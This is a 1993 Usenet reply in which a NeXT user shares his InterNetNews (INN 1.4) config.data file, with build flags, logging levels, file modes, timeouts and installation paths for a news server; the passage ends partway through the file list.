From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Re: INN configuration file request (config.data enclosed) Date: 10 Jun 1993 23:36:26 +0100 Organization: me organized? That's a joke! Message-ID: <1v8d1a$45n@steffi.demon.co.uk> References: <1993Jun10.110119.16990@mic.ucla.edu> iwelch@agsm.ucla.edu (Ivo Welch) wrote > >If you have installed INN on your NeXT (preferably on OS 3.1, or at least >3.0), could you please mail me the configuration file? > >Thanks. > >/ivo welch This is my INN configuration file for inn1.4 under NS3.0 ## $Revision: 1.40 $ ## ## InterNetNews configuration file. ## Note that if you leave a field blank, you must have the trailing tab! ## ## ## 1. MAKE CONFIG PARAMETERS ## Where the DBZ sources are, from C News. INN has a (maybe old) copy. #### =()<DBZDIR @<DBZDIR>@>()= DBZDIR ../dbz ## If you have a parallel make, set this to "&" #### =()<P @<P>@>()= P ## C pre-processor flags #### =()<DEFS @<DEFS>@>()= DEFS -DNeXT -I../include ## C compiler #### =()<CC @<CC>@>()= CC cc ## Does your compiler properly do "char const *"? Pick DO DONT or DUNNO #### =()<USE_CHAR_CONST @<USE_CHAR_CONST>@>()= USE_CHAR_CONST DO ## C compiler flags #### =()<CFLAGS @<CFLAGS>@>()= CFLAGS -pipe -fstrength-reduce $(DEFS) -g ## C compiler flags to use when compiling dbz #### =()<DBZCFLAGS @<DBZCFLAGS>@>()= DBZCFLAGS $(CFLAGS) ## What flags to use if profiling; -p or -pg, e.g. #### =()<PROF @<PROF>@>()= PROF -pg ## Flags for the "cc -o" line; e.g., -Bstatic on SunOS4.x while debugging. #### =()<LDFLAGS @<LDFLAGS>@>()= LDFLAGS -g ## If you use the standard NNTP way of connecting, where is the library? #### =()<NNTPLIB @<NNTPLIB>@>()= NNTPLIB ## If you need to link in other libraries, add them here #### =()<LIBS @<LIBS>@>()= LIBS ## How to make a lint library; pick BSD, SYSV, or NONE. #### =()<LINTLIBSTYLE @<LINTLIBSTYLE>@>()= LINTLIBSTYLE NONE ## Flags for lint. AIX wants "-wkD"; it and others don't want "-z". #### =()<LINTFLAGS @<LINTFLAGS>@>()= LINTFLAGS -b -h -z $(DEFS) ## Some lints insist on putting out the filename and other crap. ## Possible values: ## LINTFILTER | sed -n -f ../sedf.aix ## LINTFILTER | sed -n -f ../sedf.osx ## LINTFILTER | sed -n -f ../sedf.sun ## LINTFILTER | sed -n -f ../sedf.sysv ## LINTFILTER #### =()<LINTFILTER @<LINTFILTER>@>()= LINTFILTER | sed -n -f ../sedf.sun ## How to install manpages; pick SOURCE, NROFF-PACK, NROFF-PACK-SCO, or NONE. #### =()<MANPAGESTYLE @<MANPAGESTYLE>@>()= MANPAGESTYLE SOURCE ## Where various manpages should go #### =()<MAN1 @<MAN1>@>()= MAN1 /usr/local/man/man1 #### =()<MAN3 @<MAN3>@>()= MAN3 /usr/local/man/man3 #### =()<MAN5 @<MAN5>@>()= MAN5 /usr/local/man/man5 #### =()<MAN8 @<MAN8>@>()= MAN8 /usr/local/man/man8 ## Ranlib command. Use echo if you don't need ranlib. #### =()<RANLIB @<RANLIB>@>()= RANLIB ranlib ## YACC (yet another config control?) #### =()<YACC @<YACC>@>()= YACC yacc ## Ctags command. Use echo if you don't have ctags. #### =()<CTAGS @<CTAGS>@>()= CTAGS ctags -t -w ## ## 2. LOGGING LEVELS ## Facility innd should log under. #### =()<LOG_INN_SERVER @<LOG_INN_SERVER>@>()= LOG_INN_SERVER LOG_LOCAL6 ## Facility all other programs should log under. #### =()<LOG_INN_PROG @<LOG_INN_PROG>@>()= LOG_INN_PROG LOG_LOCAL6 ## Flags to use in opening the logs; some programs add LOG_PID. #### =()<L_OPENLOG_FLAGS @<L_OPENLOG_FLAGS>@>()= L_OPENLOG_FLAGS (LOG_CONS | LOG_NDELAY) ## Log a fatal error; program is about to exit. #### =()<L_FATAL @<L_FATAL>@>()= L_FATAL LOG_CRIT ## Log an error that might mean one or more articles get lost. #### =()<L_ERROR @<L_ERROR>@>()= L_ERROR LOG_ERR ## Informational notice, usually not worth caring about. #### =()<L_NOTICE @<L_NOTICE>@>()= L_NOTICE LOG_WARNING ## A protocol trace. #### =()<L_TRACE @<L_TRACE>@>()= L_TRACE LOG_DEBUG ## All incoming control commands (ctlinnd, etc). #### =()<L_CC_CMD @<L_CC_CMD>@>()= L_CC_CMD LOG_INFO ## ## 3. OWNERSHIPS AND FILE MODES ## Owner of articles and directories and _PATH_INNDDIR #### =()<NEWSUSER @<NEWSUSER>@>()= NEWSUSER news ## Group, for same purpose #### =()<NEWSGROUP @<NEWSGROUP>@>()= NEWSGROUP news ## Who gets email about control messages? (Usually same as NEWSUSER) #### =()<NEWSMASTER @<NEWSMASTER>@>()= NEWSMASTER usenet ## Who gets email on the Path line? #### =()<PATHMASTER @<PATHMASTER>@>()= PATHMASTER not-for-mail ## Umask to set. #### =()<NEWSUMASK @<NEWSUMASK>@>()= NEWSUMASK 02 ## Mode that incoming articles are created under. #### =()<ARTFILE_MODE @<ARTFILE_MODE>@>()= ARTFILE_MODE 0664 ## Mode that batch files are created under. #### =()<BATCHFILE_MODE @<BATCHFILE_MODE>@>()= BATCHFILE_MODE 0664 ## Mode that directories are created under. #### =()<GROUPDIR_MODE @<GROUPDIR_MODE>@>()= GROUPDIR_MODE 0775 ## ## 4. C LIBRARY DIFFERENCES ## Use stdargs, varargs, or neither? Pick VARARGS STDARGS or NONE. ## You need vfprintf and vfsprintf if not NONE. #### =()<VAR_STYLE @<VAR_STYLE>@>()= VAR_STYLE VARARGS ## If you don't have <string.h>, set this to "mystring.h" #### =()<STR_HEADER @<STR_HEADER>@>()= STR_HEADER <string.h> ## If you don't have <memory.h>, set this to "mymemory.h" #### =()<MEM_HEADER @<MEM_HEADER>@>()= MEM_HEADER <memory.h> ## What is a file offset? Usually long or off_t. *Must be long for now!* #### =()<OFFSET_T @<OFFSET_T>@>()= OFFSET_T long ## What is the type of an object size? Usually size_t or unsigned int. #### =()<SIZE_T @<SIZE_T>@>()= SIZE_T int ## What is the type of a passwd uid and gid, for use in chown(2)? #### =()<UID_T @<UID_T>@>()= UID_T int #### =()<GID_T @<GID_T>@>()= GID_T int ## Type of a pid, for use in kill(2). #### =()<PID_T @<PID_T>@>()= PID_T int ## Generic pointer, used by memcpy, malloc, etc. Usually char or void. #### =()<POINTER @<POINTER>@>()= POINTER char ## Worst-case alignment, in order to shut lint up #### =()<ALIGNPTR @<ALIGNPTR>@>()= ALIGNPTR int ## What should a signal handler return? Usually int or void. #### =()<SIGHANDLER @<SIGHANDLER>@>()= SIGHANDLER void ## Type of variables can be modified in a signal handler? sig_atomic_t #### =()<SIGVAR @<SIGVAR>@>()= SIGVAR int ## Function that returns no value, and a pointer to it. Pick int or void #### =()<FUNCTYPE @<FUNCTYPE>@>()= FUNCTYPE void ## Use BSD4.2 or Posix directory names? Pick DIRENT or DIRECT. #### =()<DIR_STYLE @<DIR_STYLE>@>()= DIR_STYLE DIRECT ## Use flock, lockf, or nothing to lock files? ## Pick FLOCK, LOCKF, FCNTL, or NONE #### =()<LOCK_STYLE @<LOCK_STYLE>@>()= LOCK_STYLE FLOCK ## Do you have <unistd.h>? Pick DO or DONT #### =()<HAVE_UNISTD @<HAVE_UNISTD>@>()= HAVE_UNISTD DONT ## Do you have setbuffer? Pick DO or DONT. #### =()<HAVE_SETBUFFER @<HAVE_SETBUFFER>@>()= HAVE_SETBUFFER DO ## Do you have gettimeofday? Pick DO or DONT. #### =()<HAVE_GETTIMEOFDAY @<HAVE_GETTIMEOFDAY>@>()= HAVE_GETTIMEOFDAY DO ## Do you have fchmod? Pick DO or DONT. #### =()<HAVE_FCHMOD @<HAVE_FCHMOD>@>()= HAVE_FCHMOD DO ## Do you have setsid()? Pick DO or DONT. #### =()<HAVE_SETSID @<HAVE_SETSID>@>()= HAVE_SETSID DONT ## Does your (struct tm) have a tm_gmtoff field? Pick DO or DONT. #### =()<HAVE_TM_GMTOFF @<HAVE_TM_GMTOFF>@>()= HAVE_TM_GMTOFF DO ## Does your (struct stat) have a st_blksize field? Pick DO or DONT. #### =()<HAVE_ST_BLKSIZE @<HAVE_ST_BLKSIZE>@>()= HAVE_ST_BLKSIZE DO ## Use waitpid instead of wait3? Pick DO or DONT. #### =()<HAVE_WAITPID @<HAVE_WAITPID>@>()= HAVE_WAITPID DONT ## Use "union wait" instead of int? Pick DO or DONT. #### =()<USE_UNION_WAIT @<USE_UNION_WAIT>@>()= USE_UNION_WAIT DO ## How to fork? Pick fork or vfork. #### =()<FORK @<FORK>@>()= FORK vfork ## Do you have <vfork.h>? Pick DO or DONT. #### =()<HAVE_VFORK @<HAVE_VFORK>@>()= HAVE_VFORK DO ## Do you have symbolic links? Pick DO or DONT. #### =()<HAVE_SYMLINK @<HAVE_SYMLINK>@>()= HAVE_SYMLINK DO ## Do you have Unix-domain sockets? Pick DO or DONT. #### =()<HAVE_UNIX_DOMAIN @<HAVE_UNIX_DOMAIN>@>()= HAVE_UNIX_DOMAIN DO ## Does your AF_UNIX bind use sizeof for the socket size? Pick DO or DONT. #### =()<BIND_USE_SIZEOF @<BIND_USE_SIZEOF>@>()= BIND_USE_SIZEOF DONT ## How should close-on-exec be done? Pick IOCTL or FCNTL. #### =()<CLX_STYLE @<CLX_STYLE>@>()= CLX_STYLE IOCTL ## How should non-blocking I/O be done? Pick IOCTL or FCNTL. #### =()<NBIO_STYLE @<NBIO_STYLE>@>()= NBIO_STYLE FCNTL ## How should resource-totalling be done? Pick RUSAGE or TIMES #### =()<RES_STYLE @<RES_STYLE>@>()= RES_STYLE RUSAGE ## How to get number of available descriptors? ## Pick GETDTAB, GETRLIMIT, SYSCONF, ULIMIT, or CONSTANT. #### =()<FDCOUNT_STYLE @<FDCOUNT_STYLE>@>()= FDCOUNT_STYLE GETDTAB ## If greater than -1, then use [gs]etrlimit to set that many descriptors. ## If -1, then no [gs]etrlimit calls are done. #### =()<NOFILE_LIMIT @<NOFILE_LIMIT>@>()= NOFILE_LIMIT -1 ## Do you need <time.h> as well as <sys/time.h>? Pick DO or DONT. #### =()<NEED_TIME @<NEED_TIME>@>()= NEED_TIME DONT ## What predicate, if any, the <ctype.h> macros need #### =()<CTYPE @<CTYPE>@>()= CTYPE (isascii((c)) && isXXXXX((c))) #CTYPE ((c) > 0 && isXXXXX((c))) #CTYPE isXXXXX((c)) ## What's the return type of abort? Usually int or void. #### =()<ABORTVAL @<ABORTVAL>@>()= ABORTVAL int ## What's the return type of alarm? Usually int or unsigned int. #### =()<ALARMVAL @<ALARMVAL>@>()= ALARMVAL int ## What's the return type of getpid? Usually int or unsigned int. #### =()<GETPIDVAL @<GETPIDVAL>@>()= GETPIDVAL int ## What's the return type of sleep? Usually int or unsigned int. #### =()<SLEEPVAL @<SLEEPVAL>@>()= SLEEPVAL int ## What's the return type of qsort? Usually int or void. #### =()<QSORTVAL @<QSORTVAL>@>()= QSORTVAL int ## What's the return type of lseek? Usually long or off_t. #### =()<LSEEKVAL @<LSEEKVAL>@>()= LSEEKVAL long ## What's the return type of free? Usually int or void. #### =()<FREEVAL @<FREEVAL>@>()= FREEVAL int ## What's the return type of exit? Usually int or void. ## (For gcc (not pedantic ANSI) use "volatile void" in EXITVAL and _EXITVAL.) #### =()<EXITVAL @<EXITVAL>@>()= EXITVAL volatile void ## What's the return type of _exit? Usually int or void. #### =()<_EXITVAL @<_EXITVAL>@>()= _EXITVAL volatile void ## ## 5. C LIBRARY OMISSIONS ## Possible values: ## MISSING_MAN strcasecmp.3 syslog.3 ## MISSING_SRC strcasecmp.c syslog.c strerror.c getdtab.c ## MISSING_OBJ strcasecmp.o syslog.o strerror.o getdtab.c ## getdtab has a getdtablesize() routine if you need it; see the lib ## directory and Install.ms for others. ## OSx systems should add $(OSXATTOBJ) to MISSING_OBJ. #### =()<MISSING_MAN @<MISSING_MAN>@>()= MISSING_MAN #### =()<MISSING_SRC @<MISSING_SRC>@>()= MISSING_SRC mkfifo.c #### =()<MISSING_OBJ @<MISSING_OBJ>@>()= MISSING_OBJ mkfifo.o ## ## 6. MISCELLANEOUS CONFIG DATA ## Use read/write to update the active file, or mmap? Pick READ or MMAP. #### =()<ACT_STYLE @<ACT_STYLE>@>()= ACT_STYLE READ ## Do clients use our NNTP-server-open routine, or the one in NNTP? ## INND is nicer, but you must install inn.conf files everywhere; NNTP ## is better if you already have lots of /usr/lib/news/server files. ## Pick INND or NNTP. #### =()<REM_STYLE @<REM_STYLE>@>()= REM_STYLE INND ## Should rnews save articles that the server rejects? Pick DO or DONT. #### =()<RNEWS_SAVE_BAD @<RNEWS_SAVE_BAD>@>()= RNEWS_SAVE_BAD DONT ## Should rnews log articles innd already has? Pick SYSLOG, FILE, OR DONT. #### =()<RNEWS_LOG_DUPS @<RNEWS_LOG_DUPS>@>()= RNEWS_LOG_DUPS DONT ## Look in _PATH_RNEWSPROGS for rnews unpackers? Pick DO or DONT. #### =()<RNEWSPROGS @<RNEWSPROGS>@>()= RNEWSPROGS DO ## Should rnews try the local host? Pick DO or DONT. #### =()<RNEWSLOCALCONNECT @<RNEWSLOCALCONNECT>@>()= RNEWSLOCALCONNECT DO ## Environment variable that has remote hostname for rnews. #### =()<_ENV_UUCPHOST @<_ENV_UUCPHOST>@>()= _ENV_UUCPHOST UU_MACHINE ## Require posts to have under 50% inclusion (">") lines? Pick DO OR DONT. ## (This is only for inews and nnrpd.) #### =()<CHECK_INCLUDED_TEXT @<CHECK_INCLUDED_TEXT>@>()= CHECK_INCLUDED_TEXT DO ## Put hosts in the inews Path header? Pick DO or DONT. #### =()<INEWS_PATH @<INEWS_PATH>@>()= INEWS_PATH DO ## Munge the gecos field of password entry? Pick DO or DONT. #### =()<MUNGE_GECOS @<MUNGE_GECOS>@>()= MUNGE_GECOS DO ## How many times to try to fork before giving up #### =()<MAX_FORKS @<MAX_FORKS>@>()= MAX_FORKS 10 ## Largest acceptable article size; 0 allows any size #### =()<MAX_ART_SIZE @<MAX_ART_SIZE>@>()= MAX_ART_SIZE 1000000 ## Value of dbzincore(FLAG) call in innd. Pick 1 or 0. #### =()<INND_DBZINCORE @<INND_DBZINCORE>@>()= INND_DBZINCORE 1 ## Should sub-processes get a nice(2) value? Pick DO or DONT. #### =()<INND_NICE_KIDS @<INND_NICE_KIDS>@>()= INND_NICE_KIDS DONT ## Value for nice(2) call in innd. #### =()<INND_NICE_VALUE @<INND_NICE_VALUE>@>()= INND_NICE_VALUE 10 ## Null-terminated list of unknown commands to not log to syslog. ## INND_QUIET_BADLIST "xstream", "xfoo", NULL #### =()<INND_QUIET_BADLIST @<INND_QUIET_BADLIST>@>()= INND_QUIET_BADLIST NULL ## Null-terminated set of illegal distribution patterns for local postings. #### =()<BAD_DISTRIBS @<BAD_DISTRIBS>@>()= BAD_DISTRIBS "*.*",NULL ## Verify that the poster is the person doing the cancel? Pick DO or DONT. #### =()<VERIFY_CANCELS @<VERIFY_CANCELS>@>()= VERIFY_CANCELS DONT ## Log "ctlinnd cancel" commands to syslog? Pick DO or DONT. #### =()<LOG_CANCEL_COMMANDS @<LOG_CANCEL_COMMANDS>@>()= LOG_CANCEL_COMMANDS DONT ## File unknown "to.*" groups into the "to" newsgroup? Pick DO or DONT. #### =()<MERGE_TO_GROUPS @<MERGE_TO_GROUPS>@>()= MERGE_TO_GROUPS DONT ## File articles in unknown newsgroups into junk? Pick DO or DONT. #### =()<WANT_TRASH @<WANT_TRASH>@>()= WANT_TRASH DONT ## Record rejected articles in history? Pick DO or DONT. #### =()<REMEMBER_TRASH @<REMEMBER_TRASH>@>()= REMEMBER_TRASH DONT ## Check the linecount against the Lines header? Pick DO or DONT. #### =()<CHECK_LINECOUNT @<CHECK_LINECOUNT>@>()= CHECK_LINECOUNT DONT ## If checking, the error must be within LINECOUNT_FUZZ lines. ## Five is number of .signature lines + 1. #### =()<LINECOUNT_FUZZ @<LINECOUNT_FUZZ>@>()= LINECOUNT_FUZZ 5 ## Have innd throttle itself after this many I/O errors. #### =()<IO_ERROR_COUNT @<IO_ERROR_COUNT>@>()= IO_ERROR_COUNT 50 ## Default value for ctlinnd -t flag; use 0 to wait and poll. #### =()<CTLINND_TIMEOUT @<CTLINND_TIMEOUT>@>()= CTLINND_TIMEOUT 0 ## Flush logs if we go this long with no I/O. #### =()<DEFAULT_TIMEOUT @<DEFAULT_TIMEOUT>@>()= DEFAULT_TIMEOUT 300 ## INND closes channel if inactive this long (seconds). #### =()<PEER_TIMEOUT @<PEER_TIMEOUT>@>()= PEER_TIMEOUT (1 * 60 * 60) ## NNRP exits if inactive this long (seconds). #### =()<CLIENT_TIMEOUT @<CLIENT_TIMEOUT>@>()= CLIENT_TIMEOUT (2 * 60 * 60) ## Allow nnrpd readers when paused or throttled? Pick DO or DONT. #### =()<ALLOW_READERS @<ALLOW_READERS>@>()= ALLOW_READERS DO ## Refuse newsreader connections if load is higher then this; -1 disables. #### =()<NNRP_LOADLIMIT @<NNRP_LOADLIMIT>@>()= NNRP_LOADLIMIT 16 ## Don't readdir() spool dir if same group within this many secs. #### =()<NNRP_RESCAN_DELAY @<NNRP_RESCAN_DELAY>@>()= NNRP_RESCAN_DELAY 60 ## Do gethostbyaddr on client adresses in nnrp? Pick DO or DONT. ## (If DONT, then use only IP addresses in hosts.nnrp) #### =()<NNRP_GETHOSTBYADDR @<NNRP_GETHOSTBYADDR>@>()= NNRP_GETHOSTBYADDR DO ## How many Message-ID retrievals until nnrpd does a dbzincore? Set ## to -1 to never do incore. #### =()<NNRP_DBZINCORE_DELAY @<NNRP_DBZINCORE_DELAY>@>()= NNRP_DBZINCORE_DELAY 40 ## Strip Sender from posts that didn't authenticate? Pick DO or DONT. #### =()<NNRP_AUTH_SENDER @<NNRP_AUTH_SENDER>@>()= NNRP_AUTH_SENDER DONT ## How many read/write failures until channel is put to sleep or closed? #### =()<BAD_IO_COUNT @<BAD_IO_COUNT>@>()= BAD_IO_COUNT 5 ## Multiplier for sleep in EWOULDBLOCK writes (seconds). #### =()<BLOCK_BACKOFF @<BLOCK_BACKOFF>@>()= BLOCK_BACKOFF (2 * 60) ## How many article-writes between active and history updates? #### =()<ICD_SYNC_COUNT @<ICD_SYNC_COUNT>@>()= ICD_SYNC_COUNT 10 ## Tell resolver _res.options to be fast? Pick DO or DONT. #### =()<FAST_RESOLV @<FAST_RESOLV>@>()= FAST_RESOLV DONT ## Drop articles that were posted this many days ago. #### =()<DEFAULT_CUTOFF @<DEFAULT_CUTOFF>@>()= DEFAULT_CUTOFF 14 ## Maximum number of incoming NNTP connections. #### =()<DEFAULT_CONNECTIONS @<DEFAULT_CONNECTIONS>@>()= DEFAULT_CONNECTIONS 50 ## Wait this many seconds before channel restarts. #### =()<CHANNEL_RETRY_TIME @<CHANNEL_RETRY_TIME>@>()= CHANNEL_RETRY_TIME (5 * 60) ## Wait this many seconds before seeing if pause is ended. #### =()<PAUSE_RETRY_TIME @<PAUSE_RETRY_TIME>@>()= PAUSE_RETRY_TIME (5 * 60) ## Wait this many seconds between noticing inactive channels. #### =()<CHANNEL_INACTIVE_TIME @<CHANNEL_INACTIVE_TIME>@>()= CHANNEL_INACTIVE_TIME (10 * 60) ## Put nntplink info (filename) into the log? #### =()<NNTPLINK_LOG @<NNTPLINK_LOG>@>()= NNTPLINK_LOG DONT ## Log by host IP address, rather than from Path line? #### =()<IPADDR_LOG @<IPADDR_LOG>@>()= IPADDR_LOG DONT ## Log NNTP activity after this many articles. #### =()<NNTP_ACTIVITY_SYNC @<NNTP_ACTIVITY_SYNC>@>()= NNTP_ACTIVITY_SYNC 200 ## Free buffers bigger than this when we're done with them. #### =()<BIG_BUFFER @<BIG_BUFFER>@>()= BIG_BUFFER (2 * START_BUFF_SIZE) ## A general small buffer. #### =()<SMBUF @<SMBUF>@>()= SMBUF 256 ## Buffer for a single article name. #### =()<MAXARTFNAME @<MAXARTFNAME>@>()= MAXARTFNAME 10 ## Buffer for a single pathname in the spool directory. #### =()<SPOOLNAMEBUFF @<SPOOLNAMEBUFF>@>()= SPOOLNAMEBUFF 512 ## Maximum size of a single header. #### =()<MAXHEADERSIZE @<MAXHEADERSIZE>@>()= MAXHEADERSIZE 1024 ## Byte limit on locally-posted articles; 0 to disable the check. #### =()<LOCAL_MAX_ARTSIZE @<LOCAL_MAX_ARTSIZE>@>()= LOCAL_MAX_ARTSIZE 0 ## Do you have uustat, or just uuq? Pick DO or DONT #### =()<HAVE_UUSTAT @<HAVE_UUSTAT>@>()= HAVE_UUSTAT DO ## ## 7. PATHS TO COMMON PROGRAMS ## Where the raison d'etre for this distribution lives. #### =()<_PATH_INND @<_PATH_INND>@>()= _PATH_INND /usr/local/etc/innd ## Where the optional front-end that exec's innd lives. #### =()<_PATH_INNDSTART @<_PATH_INNDSTART>@>()= _PATH_INNDSTART /usr/local/etc/inndstart ## Where news boot-up script should be installed. #### =()<_PATH_NEWSBOOT @<_PATH_NEWSBOOT>@>()= _PATH_NEWSBOOT /usr/local/etc/rc.news ## Where sendmail, or a look-alike, lives. ## The -t is optional and says to read message for recipients #### =()<_PATH_SENDMAIL @<_PATH_SENDMAIL>@>()= _PATH_SENDMAIL /usr/lib/sendmail -t ## Where the shell is. #### =()<_PATH_SH @<_PATH_SH>@>()= _PATH_SH /bin/sh ## Where the compress program lives. #### =()<_PATH_COMPRESS @<_PATH_COMPRESS>@>()= _PATH_COMPRESS /usr/ucb/compress ## What extension your compress appends #### =()<_PATH_COMPRESSEXT @<_PATH_COMPRESSEXT>@>()= _PATH_COMPRESSEXT .Z ## Where egrep lives (you might need the FSF one; see scanlogs) #### =()<_PATH_EGREP @<_PATH_EGREP>@>()= _PATH_EGREP /usr/bin/egrep ## Where awk lives #### =()<_PATH_AWK @<_PATH_AWK>@>()= _PATH_AWK /usr/local/bin/gawk ## Where sed lives (you might need the FSF one) #### =()<_PATH_SED @<_PATH_SED>@>()= _PATH_SED sed ## Where inews lives. #### =()<_PATH_INEWS @<_PATH_INEWS>@>()= _PATH_INEWS /usr/local/news/inews ## Where rnews lives. #### =()<_PATH_RNEWS @<_PATH_RNEWS>@>()= _PATH_RNEWS /bin/rnews ## Where the NNRP server lives. #### =()<_PATH_NNRPD @<_PATH_NNRPD>@>()= _PATH_NNRPD /usr/local/etc/in.nnrpd ## The path of the process run when an unknown host connects to innd. ## Usually the same as _PATH_NNRPD, but may be, e.g., the path to ## nntpd from the reference implementation. #### =()<_PATH_NNTPD @<_PATH_NNTPD>@>()= _PATH_NNTPD /usr/local/etc/in.nnrpd ## Where the NNQR server lives. Make same as _PATH_NNRPD for now #### =()<_PATH_NNQRD @<_PATH_NNRPD>@>()= _PATH_NNQRD /usr/local/etc/in.nnrpd ## Where most other programs live. ## See also _PATH_RNEWSPROGS and _PATH_CONTROLPROGS, below. #### =()<_PATH_NEWSBIN @<_PATH_NEWSBIN>@>()= _PATH_NEWSBIN /usr/local/news/bin ## Where temporary files live on the server #### =()<_PATH_TMP @<_PATH_TMP>@>()= _PATH_TMP /tmp ## Command to send mail (with -s "subject" allowed) #### =()<_PATH_MAILCMD @<_PATH_MAILCMD>@>()= _PATH_MAILCMD /usr/ucb/Mail ## Where scripts should have shlock create locks. #### =()<_PATH_LOCKS @<_PATH_LOCKS>@>()= _PATH_LOCKS /usr/local/news ## ## 8. PATHS RELATED TO THE SPOOL DIRECTORY ## Spool directory, where articles live. #### =()<_PATH_SPOOL @<_PATH_SPOOL>@>()= _PATH_SPOOL /usr/local/spool/news ## Spool directory where overview data lives. #### =()<_PATH_OVERVIEWDIR @<_PATH_OVERVIEWDIR>@>()= _PATH_OVERVIEWDIR /usr/local/spool/news ## Name of overview file within its spool directory. #### =()<_PATH_OVERVIEW @<_PATH_OVERVIEW>@>()= _PATH_OVERVIEW .overview ## Where rnews spools its input. #### =()<_PATH_SPOOLNEWS @<_PATH_SPOOLNEWS>@>()= _PATH_SPOOLNEWS /usr/local/spool/news/in.coming ## Where rnews creates temporary files until finished #### =()<_PATH_SPOOLTEMP @<_PATH_SPOOLTEMP>@>()= _PATH_SPOOLTEMP /usr/local/spool/news/in.coming/tmp ## Where rnews puts bad input. #### =()<_PATH_BADNEWS @<_PATH_BADNEWS>@>()= _PATH_BADNEWS /usr/local/spool/news/in.coming/bad ## Where rnews puts bad input, relative to _PATH_SPOOLNEWS. #### =()<_PATH_RELBAD @<_PATH_RELBAD>@>()= _PATH_RELBAD bad ## ## 9. EXECUTION PATHS FOR INND AND RNEWS ## Pathname where dups are logged if RNEWS_LOG_DUPS is FILE. #### =()<_PATH_RNEWS_DUP_LOG @<_PATH_RNEWS_DUP_LOG>@>()= _PATH_RNEWS_DUP_LOG /dev/null ## Rnews may execute any program in this directory; see RNEWSPROGS. #### =()<_PATH_RNEWSPROGS @<_PATH_RNEWSPROGS>@>()= _PATH_RNEWSPROGS /usr/local/news/bin/rnews ## Path to control messages scripts. #### =()<_PATH_CONTROLPROGS @<_PATH_CONTROLPROGS>@>()= _PATH_CONTROLPROGS /usr/local/news/bin/control ## Default "unknown/illegal" control script, within _PATH_CONTROLPROGS. #### =()<_PATH_BADCONTROLPROG @<_PATH_BADCONTROLPROG>@>()= _PATH_BADCONTROLPROG default ## ## 10. SOCKETS CREATED BY INND OR CLIENTS #### =()<_PATH_INNDDIR @<_PATH_INNDDIR>@>()= _PATH_INNDDIR /usr/local/news/innd ## Unix-domain stream socket that rnews connects to. #### =()<_PATH_NNTPCONNECT @<_PATH_NNTPCONNECT>@>()= _PATH_NNTPCONNECT /usr/local/news/innd/nntpin ## Unix-domain datagram socket that ctlinnd to. #### =()<_PATH_NEWSCONTROL @<_PATH_NEWSCONTROL>@>()= _PATH_NEWSCONTROL /usr/local/news/innd/control ## Temporary socket created by ctlinnd; run through mktemp #### =()<_PATH_TEMPSOCK @<_PATH_TEMPSOCK>@>()= _PATH_TEMPSOCK /usr/local/news/innd/ctlinndXXXXXX ## ## 11. LOG AND CONFIG FILES ## Shell script that sets most of these as shell vars #### =()<_PATH_SHELLVARS @<_PATH_SHELLVARS>@>()= _PATH_SHELLVARS /usr/local/news/innshellvars ## Where most config and data files are usually stored; not required ## to the home directory of NEWSUSER. #### =()<_PATH_NEWSLIB @<_PATH_NEWSLIB>@>()= _PATH_NEWSLIB /usr/local/news ## The server's log file. #### =()<_PATH_LOGFILE @<_PATH_LOGFILE>@>()= _PATH_LOGFILE /usr/local/log/news/news ## The server's error log file. #### =()<_PATH_ERRLOG @<_PATH_ERRLOG>@>()= _PATH_ERRLOG /usr/local/log/news/errlog ## Where most sylog log files go; see also scanlogs, innstat, etc. #### =()<_PATH_MOST_LOGS @<_PATH_MOST_LOGS>@>()= _PATH_MOST_LOGS /usr/local/log/news ## How many generates of log files to keep. #### =()<LOG_CYCLES @<LOG_CYCLES>@>()= LOG_CYCLES 7 ## Text value of the server's pid. #### =()<_PATH_SERVERPID @<_PATH_SERVERPID>@>()= _PATH_SERVERPID /usr/local/news/innd/innd.pid ## The newsfeeds file, on the server host. #### =()<_PATH_NEWSFEEDS @<_PATH_NEWSFEEDS>@>()= _PATH_NEWSFEEDS /usr/local/news/newsfeeds ## The article history database, on the server host. #### =()<_PATH_HISTORY @<_PATH_HISTORY>@>()= _PATH_HISTORY /usr/local/news/history ## File listing the sites that feed us news. #### =()<_PATH_INNDHOSTS @<_PATH_INNDHOSTS>@>()= _PATH_INNDHOSTS /usr/local/news/hosts.nntp ## The active file, on the server host. #### =()<_PATH_ACTIVE @<_PATH_ACTIVE>@>()= _PATH_ACTIVE /usr/local/news/active ## A temporary active file, for writing on the server host. #### =()<_PATH_NEWACTIVE @<_PATH_NEWACTIVE>@>()= _PATH_NEWACTIVE /usr/local/news/active.tmp ## An old active file on the server host. #### =()<_PATH_OLDACTIVE @<_PATH_OLDACTIVE>@>()= _PATH_OLDACTIVE /usr/local/news/active.old ## The log of when groups are created. #### =()<_PATH_ACTIVETIMES @<_PATH_ACTIVETIMES>@>()= _PATH_ACTIVETIMES /usr/local/news/active.times ## Where batch files are located. #### =()<_PATH_BATCHDIR @<_PATH_BATCHDIR>@>()= _PATH_BATCHDIR /usr/local/spool/news/out.going ## Where archives are kept. #### =()<_PATH_ARCHIVEDIR @<_PATH_ARCHIVEDIR>@>()= _PATH_ARCHIVEDIR /usr/local/spool/news/news.archive ## Where NNRP distributions file is #### =()<_PATH_NNRPDIST @<_PATH_NNRPDIST>@>()= _PATH_NNRPDIST /usr/local/news/distributions ## Where the default Distribution assignments file is #### =()<_PATH_DISTPATS @<_PATH_DISTPATS>@>()= _PATH_DISTPATS /usr/local/news/distrib.pats #### =()<_PATH_NEWSGROUPS @<_PATH_NEWSGROUPS>@>()= _PATH_NEWSGROUPS /usr/local/news/newsgroups ## File where client configuration parameters can be read. #### =()<_PATH_CONFIG @<_PATH_CONFIG>@>()= _PATH_CONFIG /usr/local/news/inn.conf ## The possible active file, on clients (NFS-mounted, e.g.). #### =()<_PATH_CLIENTACTIVE @<_PATH_CLIENTACTIVE>@>()= _PATH_CLIENTACTIVE /usr/local/news/active ## A temporary file, for client inews to use. #### =()<_PATH_TEMPACTIVE @<_PATH_TEMPACTIVE>@>()= _PATH_TEMPACTIVE /tmp/activeXXXXXX ## Where to mail to the moderators. #### =()<_PATH_MODERATORS @<_PATH_MODERATORS>@>()= _PATH_MODERATORS /usr/local/news/moderators ## Where NNTP puts the name of the server. #### =()<_PATH_SERVER @<_PATH_SERVER>@>()= _PATH_SERVER /usr/local/news/server ## File with name/password for all remote connections. #### =()<_PATH_NNTPPASS @<_PATH_NNTPPASS>@>()= _PATH_NNTPPASS /usr/local/news/passwd.nntp ## NNRP access file. #### =()<_PATH_NNRPACCESS @<_PATH_NNRPACCESS>@>()= _PATH_NNRPACCESS 